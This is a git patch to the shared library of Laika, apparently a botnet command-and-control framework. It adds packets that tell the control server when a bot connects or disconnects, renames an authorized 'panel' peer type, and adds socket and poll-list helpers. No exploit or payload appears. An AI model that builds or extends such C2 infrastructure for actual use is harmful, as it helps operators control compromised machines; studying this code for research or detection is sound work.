From 49a992c70ae9c34b770d01b66edee0616ff38554 Mon Sep 17 00:00:00 2001 From: CPunch Date: Thu, 10 Feb 2022 16:56:40 -0600 Subject: [PATCH] Added panel-specific packets - laikaP_iterList for iterating over pollList - laikaS_consumeRead for throwing away padding or otherwise unneeded bytes in the socket's inbuffer - incremented minor version --- lib/CMakeLists.txt | 2 +- lib/include/lconfig.h | 2 +- lib/include/lerror.h | 8 ++++---- lib/include/lpacket.h | 9 +++++++++ lib/include/lpeer.h | 4 ++-- lib/include/lpolllist.h | 3 +++ lib/include/lsocket.h | 1 + lib/src/lpolllist.c | 23 +++++++++++++++++++++++ lib/src/lsocket.c | 4 ++++ 9 files changed, 48 insertions(+), 8 deletions(-) diff --git a/lib/CMakeLists.txt b/lib/CMakeLists.txt index 52b9f79..25826ba 100644 --- a/lib/CMakeLists.txt +++ b/lib/CMakeLists.txt @@ -13,7 +13,7 @@ endif () # version details set(LAIKA_VERSION_MAJOR 0) -set(LAIKA_VERSION_MINOR 0) +set(LAIKA_VERSION_MINOR 1) project(LaikaLib VERSION ${LAIKA_VERSION_MAJOR}.${LAIKA_VERSION_MINOR}) diff --git a/lib/include/lconfig.h b/lib/include/lconfig.h index 94743bc..46670f6 100644 --- a/lib/include/lconfig.h +++ b/lib/include/lconfig.h @@ -3,7 +3,7 @@ /* version info */ #define LAIKA_VERSION_MAJOR 0 -#define LAIKA_VERSION_MINOR 0 +#define LAIKA_VERSION_MINOR 1 /* keys */ #define LAIKA_PUBKEY "40d5534aca77d1f5ec2bbe79dd9d0f52a78148918f95814404cefe97c34c5c27" diff --git a/lib/include/lerror.h b/lib/include/lerror.h index 53b0022..f4f388d 100644 --- a/lib/include/lerror.h +++ b/lib/include/lerror.h @@ -23,21 +23,21 @@ arguments are ignored. */ #ifndef DEBUG -#define LAIKA_ERROR(...) { \ +#define LAIKA_ERROR(...) do { \ if (LAIKA_ISPROTECTED) \ longjmp(eLaika_errStack[eLaika_errIndx], 1); \ else \ exit(1); \ -} +} while(0); #define LAIKA_WARN(...) #else -#define LAIKA_ERROR(...) { \ +#define LAIKA_ERROR(...) do { \ printf("[ERROR] : " __VA_ARGS__); \ if (LAIKA_ISPROTECTED) \ longjmp(eLaika_errStack[eLaika_errIndx], 1); \ else \ exit(1); \ -} +} while(0); #define LAIKA_WARN(...) \ printf("[WARN] : " __VA_ARGS__); diff --git a/lib/include/lpacket.h b/lib/include/lpacket.h index f50f457..e9ac60f 100644 --- a/lib/include/lpacket.h +++ b/lib/include/lpacket.h @@ -31,6 +31,15 @@ enum { /* layout of LAIKAPKT_STAGE2_HANDSHAKE_REQ * uint8_t peerType; */ + LAIKAPKT_AUTHENTICATED_ADD_BOT, /* notification that a bot has connected to the cnc */ + /* layout of LAIKAPKT_AUTHENTICATED_ADD_BOT + * uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot + * -- reserved info later (machine info including hostname, OS, machineType, ip, etc.) + */ + LAIKAPKT_AUTHENTICATED_RMV_BOT, /* notification that a bot has disconnected from the cnc */ + /* layout of LAIKAPKT_AUTHENTICATED_RMV_BOT + * uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot + */ //LAIKAPKT_VARPKT_REQ, /* layout of LAIKAPKT_VARPKT_REQ: * uint8_t pktID; diff --git a/lib/include/lpeer.h b/lib/include/lpeer.h index 6f3f73e..87d16ad 100644 --- a/lib/include/lpeer.h +++ b/lib/include/lpeer.h @@ -11,7 +11,7 @@ typedef enum { PEER_UNVERIFIED, PEER_BOT, PEER_CNC, /* cnc 2 cnc communication */ - PEER_AUTH /* authorized peers can send commands to cnc */ + PEER_PANEL /* authorized peers can send commands to cnc */ } PEERTYPE; struct sLaika_peer; @@ -21,7 +21,7 @@ struct sLaika_peer { struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting sLaika_peer* to sLaika_sock* works as intended */ uint8_t peerPub[crypto_kx_PUBLICKEYBYTES]; /* connected peer's public key */ uint8_t inKey[crypto_kx_SESSIONKEYBYTES], outKey[crypto_kx_SESSIONKEYBYTES]; - struct sLaika_pollList *pList; /* pollList we're active in */ + struct sLaika_pollList *pList; /* pollList we're activeList in */ PeerPktHandler *handlers; LAIKAPKT_SIZE *pktSizeTable; /* const table to pull pkt size data from */ void *uData; /* data to be passed to pktHandler */ diff --git a/lib/include/lpolllist.h b/lib/include/lpolllist.h index be7ee48..54870ff 100644 --- a/lib/include/lpolllist.h +++ b/lib/include/lpolllist.h @@ -8,6 +8,8 @@ /* number of pollFDs or epollFDs we expect to start with */ #define POLLSTARTCAP 8 +typedef bool (*tLaika_pollIter)(struct sLaika_socket *sock, void *uData); + struct sLaika_pollEvent { struct sLaika_socket *sock; bool pollIn; @@ -37,6 +39,7 @@ void laikaP_addSock(struct sLaika_pollList *pList, struct sLaika_socket *sock); void laikaP_rmvSock(struct sLaika_pollList *pList, struct sLaika_socket *sock); void laikaP_addPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock); void laikaP_rmvPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock); +void laikaP_iterList(struct sLaika_pollList *pList, tLaika_pollIter iter, void *uData); struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout, int *nevents); diff --git a/lib/include/lsocket.h b/lib/include/lsocket.h index 5e8bced..fd5f464 100644 --- a/lib/include/lsocket.h +++ b/lib/include/lsocket.h @@ -86,6 +86,7 @@ void laikaS_bind(struct sLaika_socket *sock, uint16_t port); /* bind sock to por void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from); bool laikaS_setNonBlock(struct sLaika_socket *sock); +void laikaS_consumeRead(struct sLaika_socket *sock, size_t sz); /* throws sz bytes away from the inBuf */ void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz); /* reads from inBuf */ void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz); /* writes to outBuf */ void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub); /* encrypts & writes from buf using pub key */ diff --git a/lib/src/lpolllist.c b/lib/src/lpolllist.c index 0b604f2..e07f686 100644 --- a/lib/src/lpolllist.c +++ b/lib/src/lpolllist.c @@ -191,3 +191,26 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout, /* return revents array */ return pList->revents; } + +struct sWrapperData { + tLaika_pollIter iter; + void *uData; +}; + +/* wrapper iterator */ +bool iterWrapper(const void *rawItem, void *uData) { + struct sWrapperData *data = (struct sWrapperData*)uData; + tLaika_hashMapElem *item = (tLaika_hashMapElem*)rawItem; + return data->iter(item->sock, data->uData); +} + +void laikaP_iterList(struct sLaika_pollList *pList, tLaika_pollIter iter, void *uData) { + struct sWrapperData wrapper; + wrapper.iter = iter; + wrapper.uData = uData; + + /* iterate over hashmap calling our iterWrapper, pass the *real* iterator to + itemWrapper so that it can call it. probably a better way to do this + but w/e lol */ + hashmap_scan(pList->sockets, iterWrapper, &wrapper); +} \ No newline at end of file diff --git a/lib/src/lsocket.c b/lib/src/lsocket.c index c21a4a9..4c6330e 100644 --- a/lib/src/lsocket.c +++ b/lib/src/lsocket.c @@ -172,6 +172,10 @@ bool laikaS_setNonBlock(struct sLaika_socket *sock) { return true; } +void laikaS_consumeRead(struct sLaika_socket *sock, size_t sz) { + laikaM_rmvarray(sock->inBuf, sock->inCount, 0, sz); +} + void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz) { memcpy(buf, sock->inBuf, sz); laikaM_rmvarray(sock->inBuf, sock->inCount, 0, sz);